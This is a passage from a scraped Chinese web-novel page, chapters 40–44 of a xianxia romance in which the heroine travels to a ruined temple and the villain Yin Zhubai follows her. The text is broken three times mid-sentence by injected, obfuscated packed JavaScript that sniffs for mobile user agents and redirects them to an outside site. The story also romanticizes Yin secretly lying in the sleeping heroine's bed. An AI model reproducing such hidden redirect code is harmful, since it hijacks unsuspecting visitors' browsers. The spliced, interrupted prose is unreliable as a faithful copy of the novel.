寇言湘“呃”了一声,不自觉地瞟了眼殷逐白。殷逐白眉目含笑,并未不悦:“既然如此,我就先告辞了。如果有什么需要,尽管和我说,我会尽量帮忙的。” 他大方利落的态度反而让寇言湘有点过意不去了:“哎,不用。殷家主救过我们,我们相信你。” 殷逐白露出笑容:“感谢三位的信任。” 嘁。 崔若盈偷偷翻了个白眼。 殷逐白这狡诈的家伙,已经把寇言湘的性格摸透了,知道怎么才能拿捏住她。 狡猾得像一只野猫。 反正寇言湘信任殷逐白,崔若盈也不顾忌什么了:“是不是幕后黑手的事有眉目了?” 殷逐白眸光流转:“幕后黑手?” “是的。”寇言湘点点头,“事情还要从很久之前说起。” 寇言湘本是昆玉山首席弟子,一年前,她整理宗门内任务资料的时候,突然发现这么多年,似乎冥冥之中有一只看不见的手,正像是拨弄琴弦一样,操纵着一切。 “挑拨人妖两族关系、甚至让除妖司势力之间相互仇恨,妖族内部也是频频内斗。这个人……” 寇言湘皱起眉。 “总之,我假借历练之名离开昆玉山,就是为了在不惊动任何势力的情况下秘密调查。” 行了。 崔若盈忍不住在心里吐槽。 秘密调查——现在已经不是秘密了。 “原来是这样。” 殷逐白露出若有所思的表情。 “说起来,有一件事让我很在意。” “哦?难道殷家主有幕后黑手的线索吗?” “不。其实我也不能确定。” 殷逐白用指节点了点桌子。崔若盈坐在他身边,粉色的衣裳像是一团春日的花雾,与他的金色衣摆交织在一起。 “几位应该都知道十五年前发生在殷家的叛乱事件吧。几位族老勾结妖族,杀害了我父亲,也就是前任家主,以及许多除妖师。” 寇言湘和祝星游对视一眼:“你怀疑,这件事是幕后黑手在背后策划?” 殷逐白拿起桌上的白玉茶杯,可是茶杯送到嘴边,他意识到茶水凉了,便把杯子放了下来。 “只是猜测。” 崔若盈偷偷看了眼殷逐白的神色。好家伙,不愧是见过大风大浪的反派,说起谎来脸不红心不跳。 不过从某些方面来说,他这也不叫说谎,只是隐藏了他就是幕后黑手这个重要事实罢了。 寇言湘皱眉:“看来幕后黑手的实力,比我想象中还要强。” 殷逐白用指腹摩挲着茶杯,不置可否。 崔若盈则是开口道:“好了好了,寇姐姐,你是不是找到什么线索了?” 寇言湘回过神:“哦,是这样的。我有一些关系不错的妖族朋友,和我说平幽那边的情况不太对劲。” 除妖师和妖族做朋友,听起来很奇怪,但放在寇言湘这位豪爽讲义气的女侠身上,又十分合理了。 “平幽啊……” 平幽其实是两座山——平山和幽山的统称。这两座山与芦州和雍州临近,世代居住着两支妖族。其中,住在平山上的是雀族,住在幽山上的是狐族。 两族世代毗邻,素来有些小摩擦,关系不算太好。直到三年前,雀族和狐族两位少 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什么幕后黑手,她所做的一切,明明就是为了他呀? 不对,不对。幕后黑手才是真正的他,而不是伪装出来的、连自己都厌憎的正直皮囊。也就是说,她为了真正的他,抛弃了伪装出来的他?没错,没错。 这才是真相。 崔若盈:“?” 她就坐在殷逐白的身边,一直偷偷看着他,因此敏锐察觉到了他情绪的微妙变化。 这是怎么了? 刚开始他好像不太开心,但过了没一秒,他又高兴上了,情绪变得比川剧变脸还快。 反派真是个精神病。他以前脑子有这么大问题吗? 崔若盈回忆了一下。 好吧,少年殷逐白的脑回路也异于常人,是她永远无法理解的存在。 释怀了。 寇言湘轻咳了一声,打断了两人之间的奇特氛围:“那……我们明天早上走,行吗?” 崔若盈一口答应下来:“没问题。” 殷逐白则是笑了笑,站起身:“那我让底下的人给你们收拾一点东西,就当是我的心意。” 说完这句话,他又恰到好处地停顿一下,回眸看向崔若盈。黑色的长发沿着后背的弧度垂落,轻柔地摇摆着,像是盘踞在劲瘦腰身上的蛇。 “崔姑娘,以后你若是心中烦闷,便来找我,我再为你弹琵琶,好不好?” 崔若盈不自然地咳嗽一声。 反派这家伙,是故意的吗。原来也没觉得有什么,被他用这种茶里茶气的语调一说,搞得气氛怪怪的。 崔若盈默了默:“有机会的吧。” 殷逐白没说话,目光灼灼地看着她,那目光仿佛一支利箭,能立刻将她捅个对穿一般。 崔若盈实在受不了。她只能低声应了句“好”。 声音低低的,像是故意不想让他听到一般。殷逐白却听到了。他这才心满意足地收回视线,笑容温柔,像是春天的花。 “好。一言为定。” 41. 真巧啊,崔姑娘。 简单收拾了一下东西,崔若盈好好休息了一晚。第二天天刚亮,她就穿好衣裳,去找寇言湘和祝星游。 不过刚走出院子,她就被早早守在门口的侍女拦下了。 “崔姑娘。” 崔若盈心里“咯噔”一下,心想该不会是殷逐白不让她走吧。她有些紧张地问道:“是,是殷家主有什么吩咐吗?” 侍女拿出一个精致的荷包,小心递给她:“崔姑娘,这是家主特意为您准备的。” 崔若盈接过荷包,打开看了看。小小的荷包内部很大,装了各种实用的丹药和物资。 再捏捏荷包,能感觉到丝滑的布料内缝了什么东西。崔若盈了然。 荷包里面缝了空间符箓,也具有了储物功能。只不过,一般空间符箓怕水,遇水就会融化。 这个荷包却是用妖蚕丝制成的,水火不侵,珍贵且实用。 崔若盈掉下水洞与鱼大对峙时,身上的空间符箓浸水损坏,连同里面的行李也都坏了。 现在她的衣服,还都是殷家给准备的呢。 崔若盈摸着精致的小荷包。荷包只有鸡蛋大小,上面用浅红色的绣线绣了只灵动的小狐狸,精致可爱。 “好的,替我谢谢殷家主吧。” 崔若盈收下荷包,心情有些复杂。 她没想到殷逐白还会记着她的空间符箓被水浸湿这点小事,还特地为她准备了荷包。 该说他无微不至呢?还是该说他心思缜密呢?也可能,对他来说,准备个荷包只需要随口吩咐一下手下的人。 算了,反正她不想执行攻略任务了,殷逐白到底怎么想的,和她也没多大关系了。 崔若盈收起荷包,不再胡思乱想,去找寇言湘和祝星游。 刚走到寇言湘的门口,就撞见寇言湘把祝星游按到墙角,两人之间洋溢着粉色泡泡,也不知道在干什么。 崔若盈心里叹了口气。看来,她又要充当男女主的免费电灯泡了。 一晃神的工夫,寇言湘注意到了她,连忙放开祝星游。祝星游沉默地整理了一下衣服,垂头站在她身后,目光沉沉地盯着寇言湘。 崔若盈装作没看见:“寇姐姐,你们收拾好了吗?我们快走吧。” “收拾好了!”寇言湘应了一声,亲亲热热地拉着崔若盈的手,“那我们走吧。” 祝星游沉默地跟在身后,像是个忠诚可靠的护卫。 天蒙蒙亮,露水还湿漉漉地挂在枝头,潮湿的空气争先恐后钻入鼻腔。 殷逐白没有来。 “昨天晚上家主离开山庄了,所以不能亲自相送,怠慢之处请几位见谅。” 负责处理殷家内务的殷海将三人送出悬玉山庄,向三人致歉。 寇言湘对他摆了摆手,示意他送到这里就可以。三人下了山,崔若盈回首望着这条已经开始熟悉的山路。 桃花盛开,花瓣纷飞,淹没了来时路。华丽古朴的悬玉山庄若隐若现地躲藏在迷蒙的春雾之中,如海市蜃楼一般,令人难以辨明。 崔若盈心中忽地涌上一股怅然。 她在小世界里穿梭了太久,完成了数不清的任务。可蓦然回首,却发现自己什么也没得到、什么也没留下,甚至连来时的路都看不清了。 但惆怅在她心里只停留了一瞬,崔若盈很快就重新打起精神,和寇言湘打打闹闹起来。 离开悬玉山庄向南,走了整整两天。第二天傍晚,天上突然飘起了细细密密的雨丝。 芦州境内多江河,雨水总是特别丰沛,尤其是春天。崔若盈嘀咕了几句倒霉,摸摸潮湿的刘海,踮起脚朝着远方看去。 在隐约的山雾间,她看到了建筑的影子。 “你们看,那里是不是有一户人家?” 寇言湘看了看:“好像还真是。我们去避一避雨吧。” 三人都没有异议,加快速度朝着那边赶去,没几分钟就来到了崔若盈看到的建筑前。 不过,那并不是崔若盈猜测的普通人家,而是一座古寺。 古寺看着有些年头了,外墙上黑乎乎的,有被烧过的痕迹。门头上挂着块很旧的牌匾,上面写着“金鸣寺”。 崔若盈上前敲门,敲了几次门都无人应答。 于是寇言湘推开门,三人走入寺中。一阵冷风吹过,破烂的门发出一声阴冷的响。 空旷院子中没有人,只有一棵粗壮的槐树立在院子中,上面系满了许愿用的红色布条。猩红的布条或新或旧,在风中飘舞。 推门声吱呀响起。崔若盈警觉地看过去,只见一道身影从寺中走出来。 是一位穿着粗布僧衣的年轻僧人。 崔若盈礼貌地笑了笑:“原来有人啊。小师父你好,我们本来要去附近的安平城,正好碰上下雨耽搁了。现在城门关了,我们无处可去,能不能在这里留宿一晚?” 僧人捻着念珠,扫了三人一眼,也微笑道:“可以的,三位施主快进来吧。” 运气还真不错。 崔若盈三人跟在年轻僧人的身后绕过正殿,朝着禅房走过去。路上,她知道了一些关于金鸣寺的事。 金鸣寺临近安平城,原本寺中僧人不少,因为求姻缘很灵,来往的香客更是络绎不绝,绝非现在这破败萧条的模样。 直到两年前,金鸣寺失火,烧死了不少僧人,建筑也被烧坏了多半。 那之后,金鸣寺就破败下来,僧人死的死、走的走,最后只剩下这位年轻僧人独自一人守在这里。 年轻僧人语气淡淡地讲述着。崔若盈跟在他身后,看到他后脖颈上有很严重的一块烧伤伤疤,应该就是那时候留下的。 “金鸣寺求姻缘很是灵验,所以直到现在,也偶尔有香客上山。”僧人笑了笑,“不过人不多,凭我一人,也应付得来——各位施主就住这三间禅房,怎么样?” 禅房朴素,但被收拾得很干净,房间内弥漫着宁静的熏香味。崔若盈点点头:“没问题,多谢这位师父了。对了,还没问小师父你叫什么名字?” 年轻僧人合掌微笑:“贫僧法号了缘。” 了缘。 真奇怪。明明是因求姻缘准而闻名的寺庙,僧人却叫“了缘”。 这个念头在崔若盈脑海中一闪而过,她没有深究。反正她就是在庙里投宿一夜,庙里的和尚叫什么,和她一点关系都没有。 了缘把人带到禅房后就离开了。崔若盈简单收拾了一下禅房,就听到隔壁的门响了。 她停下动作,探出一个头,只见寇言湘从隔壁走出来。 “寇姐姐,你去哪里?” 寇言湘晃了晃手里的钱袋:“去给金鸣寺添些香油钱。” 毕竟三人借宿在这里,又不缺钱,添点香油钱也无所谓。 崔若盈钻出房间,反手关上门:“我和你一起去。” 出于下雨的缘故,天黑得格外快。正殿不见了缘的身影,被烈火灼烧过的金鸣寺黑黢黢的,像是黑夜中张开的血盆大口,连槐树摇摆的树叶,都显得格外不祥。 添过香油钱,两人回到住处附近。反正闲着无聊,崔若盈就站在长廊上,拿着个灯笼,和寇言湘说起闲话来。 “寇姐姐。”崔若盈窃笑了一声,故意靠近寇言湘,低声道,“那天是什么情况啊?” 她说的“那天”,自然就是前几天在殷家时,她看到寇言湘把祝星游抵到墙角那一幕了。 一听她说起这件事,寇言湘的脸立刻涨红了:“那天?什么那天,搞不懂你在说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916300|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。” 崔若盈笑嘻嘻道:“你还装傻,就是那天啊!你和……” “你别瞎说,那天就是个意外,不小心的。”寇言湘飞快转移话题,“倒是你,我看你闷闷不乐的,是不是想着殷家主?” 崔若盈翻白眼,用胳膊肘撞了她一下:“都说了不喜欢他了。” 寇言湘不甘示弱地撞了回来,斜眼道:“我看可不是那么回事,人家还说要给你弹琵琶听呢,多会说话,比某些木头好多了。” 崔若盈道:“某些木头?你是说祝大哥?” 寇言湘“嗯哼”一声。 崔若盈露出坏笑:“是吗?我看你挺喜欢他的啊?” 寇言湘马上就像被踩了尾巴的猫一样:“你说什么呢!我才不喜欢那种闷闷的人呢!多无聊!!你不许乱说!” 听语气好像很生气,但崔若盈知道,寇言湘的性格就是越心虚越喜欢大声反驳。 崔若盈笑了一声,正打算再调侃两句,突然听到一边传来细微的响动。 两人同时循声望去,只见祝星游站在不远处,面色惨白,也不知道听到了多少。 相顾无言。 几秒后,祝星游先垂下头,苍白着一张脸,转身离开,只留下一个仓惶逃走的背影。 崔若盈看向寇言湘:“他是不是生气了,你快追啊!” “……追什么追。”寇言湘同样苍白着脸,看了看祝星游离开的方向,中气不足地说道:“我回去睡觉了。” 说着,她直接走回自己房间,反手关上门,只剩下崔若盈看看这边,又看看那边,满脸问号。 等等……她不会无意中拆了这对CP吧? 不行啊!拆官配是会被罚款的! 崔若盈:再也不嘴贱了,真的。 寇言湘那边不好入手,崔若盈想了想,朝着祝星游离开的方向追过去,终于在那棵系满红丝带的槐树下找到了祝星游。 祝星游沉默地坐在树下,盯着树上鲜红的丝带,面色愈发惨白。 崔若盈气喘吁吁地追过去,顾不上别的,开口就道:“祝大哥啊,你可别误会。其实寇姐姐她不讨厌你的。” 她说得很直白——因为祝星游从小作为杀手被培养,几乎是个冷漠的杀人机器,对人情世故一概不懂。 在遇到寇言湘之前,他甚至没拥有过感情。 听到崔若盈这么说,祝星游眼睛动了动:“真的?” “真的,如假包换。” “那她为什么……” “因为,因为有的人就是这样嘛。”崔若盈道,“越喜欢越不承认,很奇怪对不对,但有的人就是这样。” 这就是所谓的傲娇嘛。 “而且,她嫌你闷,你多和她说几句话不就不闷了。” “原来是这样。”祝星游若有所思地点点头,勉强拉起嘴角,露出一个僵硬的笑,“谢谢你,小盈。” 说完这句话,他转身离开。看着他的背影消失在视野中,崔若盈靠在树上,打了个哈欠,缓缓摇了摇头。 真好骗啊。 如果殷逐白那家伙,也有这么好骗就好了。 看来拆CP危机很快就能过去了。 崔若盈直起身,正打算离开。走出去没几步,蓦然间,一阵夜风袭来,树叶摩擦发出琐碎的轻响,红色布条在夜晚飞舞。 下一瞬间,熟悉的香味钻入鼻腔之中。 是殷逐白的味道。 崔若盈像是被人施了定身术一样顿住脚步,缓慢地回过头。 青年就站在她刚刚站过的地方,一袭白衣随风飘舞,像是沐浴着黑暗的恶妖,阴魂不散。 见崔若盈看过来,他抬起头,对她微微一笑:“真巧啊,崔姑娘。” 42. 在她枕边留下头发 崔若盈没想到会在这里见到他。 原剧情中,寇言湘和祝星游离开殷家后,殷逐白虽然严密监视着他们的动向,但根本没追上来。 他这是……冲着她来的? 毫无心理准备之下,崔若盈被吓了一跳。她站在蒙蒙的黑暗之中,过了好一会儿,才开口道:“殷家主吗?你怎么在这里?” 殷逐白朝她走过来。 他好像不太开心,即便嘴角仍挂着温文尔雅的笑容,可脚步却如同夜色般沉重:“崔姑娘为什么不告而别?” 崔若盈后退一步:“……什么不告而别?” 见她还在装傻,殷逐白的眉头如同蜻蜓点水一般蹙起。他缓缓走近,衣摆飞扬间,带起一阵阴郁的香气。 那天晚上,殷家接到急报,说有一伙妖怪集结在一处,打算攻击附近一个村落。殷逐白连夜赶去处理,解决完那些妖怪,他披星戴月,赶在清晨之前回到了殷家。 可殷海却告诉他,崔若盈一大早就走了。 她居然真走了!! 光是想想这件事,殷逐白就觉得有什么酸涩如青葡萄一样的情绪在心中铺开了。 他讨厌这种情绪被人牵动的感觉。奇怪的情绪时刻牵扯着他,愉快时,就好像站在轻柔的云朵上;痛苦时,那云朵就顷刻散去,人也从万丈高空坠入无边地狱。 可是,他却不想从这种地狱离开。 殷逐白的语气软了下来。他停在距离她只有半步的位置,高大的影子几乎将崔若盈笼在其中。 “抱歉,崔姑娘,是我失言了。”他扯了扯嘴角,“我的意思是,我以为你会等我回来再走。” 崔若盈露出假笑:“没想到你那么在意呀,但是平幽那边的情况真的很紧急,等不了呢。” 虽然不打算继续在反派身上浪费时间,但崔若盈表面功夫还是做得很好。 “你还没回答我呢,你怎么会出现在这里?” “前几天听你们说起平幽。”殷逐白道,“平幽的局势和芦州息息相关。我想若能解决那边的事,家族的压力也会少很多,所以打算和你们一起去看看。” “……原来是这样。” 一时间,两人谁也没有开口说话。 崔若盈的视线绕过殷逐白,落在不远处的槐树上。 槐树粗壮,应该已经扎根于此几百年了,树干被火焰熏黑,有一部分已经炭化,张扬的树枝在黑夜中分外狰狞。 听了缘师父说,从前安平城内即将成婚的年轻男女,都会将名字系在这棵姻缘树上,以求夫妻和睦,未来顺遂。 也有求其他东西的,求富贵、求子孙、求功名,五花八门,什么都有。当然,还是求姻缘最灵验。 可随着金鸣寺失火败落,来这里的人少了。红布带上的墨迹早已随风雨褪去,只剩点点残痕,只有偶尔还能看到几个较新的布条,看着分外萧索。 崔若盈余光瞥见低矮的树枝上,挂着不少空白的红布,想来是金鸣寺准备,供客人写愿望的。 她走过去扯出一根布条,从怀中掏出一支笔。殷逐白见状,微微挑起眉:“崔姑娘要求姻缘?” 崔若盈道:“也不一定是姻缘啊,我要许愿早些,早些……” “早些什么?” 崔若盈没有回答。 她在布条上写了自己的名字,又毫不犹豫地在上面学了几个字。殷逐白侧眸望去,只见点点墨迹缀在红布上,赫然是“早日回家”四个大字。 “早日回家?” “哎?你这人怎么偷看啊?”崔若盈警惕地看着他,“万一不灵了怎么办?” 殷逐白无奈道:“对不起,崔姑娘,我不是有心偷看的。只是……你要回家吗?你的家在哪里呢?” 说起来,早在发现寇言湘身边多了个崔若盈的时候,他就派人秘密调查过了。然而无论怎么查,都查不出什么结果。 崔若盈这个人,就好像凭空出现的一般。世界上不曾有她存在过的痕迹,而她,似乎也只是世界的一个过客。 也许她来自哪个隐世宗门?又或者,她是什么势力私下培养的棋子? 也许,这是个探听她来历的好机会。 崔若盈摸着有些潮湿的红布条。墨色在她指尖一寸寸晕染开来,她垂下眼,盯着自己的脚尖,语气却带着几分漠然。 “我也不知道。” 殷逐白的睫毛微微颤动一下,挡住眼中的神色。片刻后,他拿过崔若盈手上的笔,露出恬淡的微笑。 “既然如此,我也许一个愿望吧。” 崔若盈点点头。 殷逐白拿着笔,白皙的手腕在夜色中凸显出伶仃的轮廓,几秒之间,红色布条上就留下一行深深的字迹。 他吹干上面的墨,和崔若盈一起,将两条红布挂上树杈——那树杈空荡荡的,只有两条红布。风吹过来,鲜艳的布条亲昵地纠缠在一起,难解难分,宛若一对密不可分的有情人。 崔若盈问:“你写了什么?” 殷逐白对她神秘地眨眨眼:“崔姑娘,这是秘密。告诉你,说不定就不灵了。” “嘁。”崔若盈表示自己不稀罕,“那我就不看喽。” 用脚趾头想也知道,反派的毕生心愿就是解封沧浪之水,淹没世界。 当然了,以殷逐白的心机城府,他肯定不会直白地写出来,所以多半写的是一些十分正能量的内容。 殷逐白就是那种,会在日记里撒谎的人。这种人的日记看了也没意思。 时间不早,崔若盈不想耽搁了。明天一早还要赶路去安平城,她可不像反派一样精力旺盛。 崔若盈对他挥挥手,正欲离开,突然意识到一个问题:“殷家主,你今晚才到这里,见到了缘师父了吗?” “了缘师父?”殷逐白眉头动了动,“我没见到有僧人。” 也就是说,他现在没住处。 “好吧。”崔若盈想了想,“这么晚了,他应该睡了,再叫人起来安排房间也不好。” 殷逐白微笑:“崔姑娘不用替我费心。我也算江湖中人,从前外出执行任务的时候也风餐露宿,有没有住处,于我而言,并不重要。” 崔若盈在心里翻白眼。 她倒是想让反派睡大街。这不是怕他哪天想起来,又找她秋后算账吗? “你不用推脱,先住我房间吧。”崔若盈思索了一下,“我去找寇姐姐,和她睡一起。” 她和寇言湘关系不错,有时候客房不够,两人就睡一间。 殷逐白沉沉地看着她,声音却像是柳絮一样,轻飘飘的:“好。” 停顿了一会儿,又慢吞吞地低声说道:“崔姑娘真好。” 一点也不想被你这么评价。 崔若盈呵呵一笑:“我当然好了。” 回到禅房,周围仍是寂寂无声。崔若盈推开门,让殷逐白先进去,自己则是走到寇言湘门口敲门,不过敲了半天,却没有人应。 殷逐白听到声音,又从房间中走出来。披散的头发垂到腰际,缓缓摇曳着,像是黑暗中伸出的触手。 “我没感知到寇姑娘的气息。”他看了眼房门,“她应该不在。” “……”崔若盈要敲门的手顿住,“那祝大哥呢?” “他也不在。” 行吧。应该是去约会了。 毕竟祝星游这位男主就爱打直球,崔若盈刚才跟他说了那些,他肯定会找寇言湘。两人说不定还在雨中漫步,不知道什么时候能回来呢。 殷逐白眼眸闪过微光:“既然如此,我……” “没事。”崔若盈自暴自弃了,“麻烦殷家主和我将就一下吧。” 反派要杀她早杀了,下手的机会太多,根本不用等到现在。 说着,也不管殷逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可能是出于嫉妒……也可能是出于什么一点也不重要的原因。与沧浪之水融为一体后,他开始不断在世间转生。 学习谢流玉的姿态,好像是一件十分自然而然的事。 可殷逐白厌恶谢流玉,也厌恶自己学习他伪装出来的样子,连带着厌恶所有被谢流玉的做派迷惑的人。 崔若盈是否在这些人中呢? 良久,殷逐白的指尖动了动。那只垂下的手臂突然像蜡烛一样融化,然后是身体、面庞,都以一种诡异的姿态消融。 殷逐白从榻上消失了,比黑暗更深沉的黑水涌下榻。 在雨声中,黑色的液体如藤蔓般,顺着床脚爬上她的床,涌到崔若盈的身边。 冰冷的水珠如阳光般拥抱着她,渐渐地,在她的身后凝聚出形状。 苍白的面庞在黑夜中显现出来,像是美艳的水妖从水面下探出头颅,诱惑着行人去亲吻。 可惜,本来要被他诱惑的行人已经睡着了,根本看不到他的妖艳模样。 水妖不在乎。 “盈盈……” 水妖俯身看着她。 他与她很近,呼吸都纠缠在一起,几缕不听话的黑发垂在她的脸上、颈间。 青年轻柔地抱着她,像是温柔的水流拥抱着水草。 他将美艳的面庞贴在她的脖颈上。幼稚地屏住呼吸,让自己的呼吸随着她的频率起伏,仿佛这样,他就能与她融为一体。 黑色长发如网一般痴痴缠绕在她身上,错乱,打结,罩住了她,也罩住了他。 她那么信任殷逐白,有没有想过,殷逐白这个端方君子会在夜晚爬上她的床? 她有没有想过,外表端庄、内里卑劣的殷逐白会在她不知情的情况下,彻夜拥抱着她? 她一定没有想过。 他忽然有些想知道,她发现这件事时的表情。 想到这里,水妖心中升起一种隐秘的快意。 他要在她枕边,故意留几根头发。 ——正人君子殷逐白的头发。 43. 这不是她的头发。 水妖抱着她,靠在她的肩上,满足地睡去。她发间独特的柑橘味道在鼻尖缭绕,一点点渗入悠远的梦境中。 他梦见了—— 橘子味的白色泡沫。隔着一层水波,他看到崔若盈穿着件旧旧的深橘色衣裳,挽着宽大的袖子。 他知道这种衣服。 这是掌宫宫女的衣服。他曾经见过穿着这种衣服的宫女跟在谢流玉身后,匆匆忙忙地从西宫前的宫道上走过。 “闭上眼睛。” 崔若盈的声音像是泡沫一样飘忽不定。他闭上眼睛,水波舔舐着他的面庞,她将十根纤细的手指插入他的发间,轻柔地抚摸着。 是梦吗? 可是她指尖穿过他发丝的痒意,却比一切幻想都来得逼真。 她曾经抚摸过他吗? 什么时候? 为什么不记得? 殷逐白倏然睁开眼,瞳孔因突如其来的光亮而骤然缩小,梦境破裂,消失无踪。 他远远望着从窗格渗入的点点晨光。天已经亮了,崔若盈将自己裹在被子里,呼吸温热,睡得正熟。 居然没醒。 殷逐白说不清自己是庆幸还是失望。他久久地注视着崔若盈,过了好一会儿,才化作黑色潮水离开她的床,回到空置一夜的冰冷榻上。 离开之前,他扯下几根长发,放在她枕边最显眼的地方。 ——看看你信任的是什么人吧,崔若盈。 他恶意满满地想着。 太阳升起,晨雾渐渐散去,金色的日光毫无保留地洒进屋子里,唤醒了还在沉睡的崔若盈。 崔若盈坐起身,环视四周。 榻上空荡荡的,没有一丝人气。殷逐白已经不在,不知道去了哪里。 崔若盈才不想管他。她换下皱巴巴的衣裳,洗漱过后,门就被敲响了。打开门,发现是寇言湘。 “寇姐姐?”崔若盈笑嘻嘻的,“你约会回来了?” 寇言湘一哽,搪塞道:“什么约会,乱说什么呢!我来是要告诉你个好消息!” “什么啊?” “就是殷家主也来金鸣寺了,说是要和我们一起去平幽,惊不惊喜?” 看来殷逐白没把昨晚他睡在哪里的事告诉寇言湘啊。 崔若盈敷衍道:“惊喜惊喜,特别惊喜。” 寇言湘拧起眉头:“你怎么好像早就知道了?” “嗯……猜到了。” “好吧。”寇言湘没有深究,“那你收拾一下东西,我去找了缘师父告别,等下我们就继续赶路吧。” 说着,转身朝着正殿的方向走去。崔若盈也回到房间里,收拾床铺。 “咦?” 突然间,崔若盈发现枕头上躺着几根很长的头发。 她的头发?怎么感觉不太对? 崔若盈捏住几根头发,将它们对准阳光,仔细观察。 阳光映照,发丝却未曾出现任何光彩,仿佛由一团不反光的黑暗凝结而成。 崔若盈蹙了蹙眉,拔下一根自己的头发。她的发丝更硬,在阳光下流光溢彩,呈现出一种浅浅的棕色,与枕边捡到的长发截然不同。 太奇怪了。 崔若盈思考两秒,又将头发放在耳边比划了一下。 为了方便行动,她的头发没有留得特别长,只是堪堪到后背。 这根头发却一直垂到她的腰际,比她的头发长上不少,质地也更柔软。 这不是她的头发。 那是谁的头发? 答案已经呼之欲出了。 崔若盈深吸一口气。还没等她想清楚到底是怎么个情况,半敞开的门口就传来熟悉的温润声线。 “崔姑娘。” 冷不丁被叫了一声,崔若盈手一抖,下意识地攥紧长发,将那只手藏到身后,看向门口。 “我可以进来吗?” “……可以。” 殷逐白推开门,在门板的“吱呀”声中走了进来。日光顺着半敞开的门,落在他英挺的鼻子上。 “为了避免影响你的声誉,我没有和寇姑娘说,只告诉她我是今早到的。” 崔若盈心不在焉:“哦,没事的。” 背在身后那只手攥着他的头发。那长发摸着细软,实则十分柔韧,像是钢琴线一样缠绕在她的指尖。 “嗯?崔姑娘表情好奇怪,是发现了什么吗?” 温柔的语气中,为何掺杂了几分雀跃? 崔若盈道:“没有啊?” 她突然发现,头发这种细到近乎透明的东西根本不用藏。于是她松开手,任由几缕长发落到地上,又在殷逐白面前摊开手掌。 “什么也没有啊。” 殷逐白笑了笑,近乎自言自语道:“原来什么也没有。” “小盈!” 寇言湘的突然出现打破了略有些奇怪的氛围。她走过来,看到殷逐白也在的时候愣了一下,对他点点头:“原来殷家主也在这里。” 崔若盈道:“寇姐姐找到了缘师父了吗?” “没,他可能出去了吧。”寇言湘摇摇头,“我留了字条。你收拾好了吗?” “收拾好了,我们走吧。” 祝星游已经在金鸣寺门口等着了。寇言湘好像有话要和他说,快走几步,和他并肩而行,只剩崔若盈和殷逐白两人慢悠悠地走在后面。 崔若盈有点点不自在。 他昨夜做了什么? 应该没做什么吧…… 但就是什么也没做才奇怪呢。难道是因为他不想睡又冷又硬又小的榻,才跑到她床上的? 这也太怪了。 胡思乱想好一会儿,走在她身边的殷逐白突然停下了脚步,侧头看着她。 “对不起,崔姑娘。” 崔若盈也停下来:“啊?” 他的声音中带着仿佛发自内心的愧疚,温柔缓慢地说道:“深夜留宿在年轻女子房中十分不妥。我早该想到,却因为一己之私刻意忽略这点。” 殷逐白侧过身体,垂下眼帘,用一双漂亮的眼睛深深地望着她,睫毛如鸦羽般轻柔垂落。 崔若盈已经发现那两根头发了吧? 她有什么感觉? 看到一个卑劣阴险的人衣冠楚楚地站在自己面前,又是什么感觉? 失望?恶心?痛心? 可为何,现在痛心的是他呢? 又酸又痛的感觉在胸膛中蔓延开,连同舌尖,也绽放出一丛丛难以言喻的苦涩。他指尖无意识地动了动,想要按住即将停跳的心脏。 殷逐白回过神,止住有些不自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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山路旁的苍翠松树在他脸上落下分明的影子。殷逐白将手拢在袖子中,挺拔地从松树下走过。一瞬间的枯萎后,他又恢复了温柔的模样。 崔若盈走在他身边,小心地避开路上的水洼,以免鞋子被浸湿。听到殷逐白的话,她随口道:“什么梦啊?” “我梦到了崔姑娘。” “……啊。”崔若盈默了默,“梦见我什么?” “不记得了。” 说话时,他的眼眸闪烁,显然是在说谎。 “不过,崔姑娘确实给我一种熟悉的感觉。” 他想到了那个梦。清爽的香气,温热的水,在水中破碎的阳光和树影……还有那双白皙的手。 梦中的一切,都比现实更真实。 “崔姑娘,也许前世我们见过。” 崔若盈侧头,皮肤在太阳下散发出珍珠般的光晕。 她看着殷逐白美丽的侧脸。相比于千年之前,这张脸只是轮廓变得更分明、更成熟了些。 崔若盈有些想说出从前的事。但时空回溯券有规定,就是不能像任何人提及自己回溯时光的经历。 别人可以记得,但她不能主动提起。 而且,崔若盈不知道他是因为出了意外才不记得,还是在千年的光阴中,自然而然地抹去了与她有关的记忆。 若是后者,她就算提了,又有什么用呢? 最终,她只是小声问道:“真的有所谓的前世吗?” 殷逐白道:“也许没有。” 也许…… 崔若盈挑起眉,笑了笑:“也许有前世,只是我们不记得了。” 44. 我打扰到崔姑娘了吗? 忘了……吗? 殷逐白低下头。阳光透过松枝,落在他发顶束着的发冠上,金冠折射出金灿灿的光芒。 崔若盈走在他的前面,红色的衣摆随着她的动作,一晃一晃的。殷逐白伸出手,衣摆如溪水般从他指尖滑过,飘到更远的风中。 离开金鸣寺向南,走上一两个小时,就能看到安平城的城门。 越向南走,太阳越毒,夏日似乎在此刻提早降临了。 崔若盈走在街上,用手挡住过于刺眼的太阳,扭头看向寇言湘:“寇姐姐,我们今天是在安平城留宿,还是采买完东西就继续走呢?” 空间符箓能带的东西有限,而且不保鲜,只能装一些干粮和水。所以每路过一个城池,几人都会补给一下。 寇言湘想了想:“昨晚已经耽搁一夜了,要是没什么事的话,今天就不在安平城留宿了吧。” 崔若盈没有意见:“好,那我们去买东西。” 这时,殷逐白轻声道:“大家各自需要的东西不同,一起行动未免太浪费时间。不如,先约定时间地点,我们分头行动吧。” 众人没有异议,于是约定好时间地点,各自散去。 “殷家主怎么跟着我?” 崔若盈走出一段路,回头看着身后跟上来的殷逐白。 几人散开之后,这家伙就毫不犹豫地跟上了她,好像一开始提出分头行动,就是为了黏着她一样。 